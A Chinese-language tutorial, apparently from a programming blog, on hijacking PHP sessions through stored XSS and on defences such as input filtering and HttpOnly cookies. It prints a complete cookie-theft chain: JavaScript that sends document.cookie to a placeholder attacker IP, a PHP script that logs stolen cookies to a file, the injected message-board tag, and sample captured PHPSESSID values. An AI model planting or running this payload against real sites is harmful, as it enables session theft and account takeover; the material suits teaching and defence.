1. 程式人生 > >xss攻擊--SESSION劫持方式以及解決方案

xss攻擊--SESSION劫持方式以及解決方案


1、XSS攻擊-SESSION劫持場景

hacker通過js指令碼在留言板之類的指令碼中提交javascript指令碼,當登入使用者(特別是管理員)檢視提交的資料時候,會被hacker劫持到SESSION資料,在SESSION有效的時間內,hacker將會更改本地的PHPSESSID資料從而登入網站管理系統。

2、指令碼程式

javascript:

var cookie_data=document.cookie;
var script =document.createElement('script');
script.src='http://XXX.XXX.XXX.XXX/getcookie.php?cookie='+cookie_data;
document.body.appendChild(script);
PHP:
<?php
        $cookie=$_GET['cookie'];
        $path='./session.txt';
       file_put_contents('./session.txt',<span style="font-family: Arial, Helvetica, sans-serif;">$cookie.</span><span style="font-family: Arial, Helvetica, sans-serif;">"\r\n",FILE_APPEND</span>);

?>

留言板提交資料:
<script type="text/javascript" src="http://xxx.xxx.xxx.xxx/getcookie.js"></script>
session.txt:
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66
PHPSESSID=mtl9hvh5s52bfsv6oslcf8gk66

3、SESSION劫持防範措施:

(1)嚴格過濾使用者輸入,防範XSS攻擊。

對使用者輸入的資料進行script等指令碼和html過濾。

(2)設定sessionid的cookie為HttpOnly。

1、通過PHP.ini設定 session.cookie_httponly= true

2、在PHP手冊setcookie中第七個引數為httponly的設定。但該應用方法還在爭論中引用PHP手冊中的內容

bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )
(although it is not supported by all browsers), but that claim is often disputed.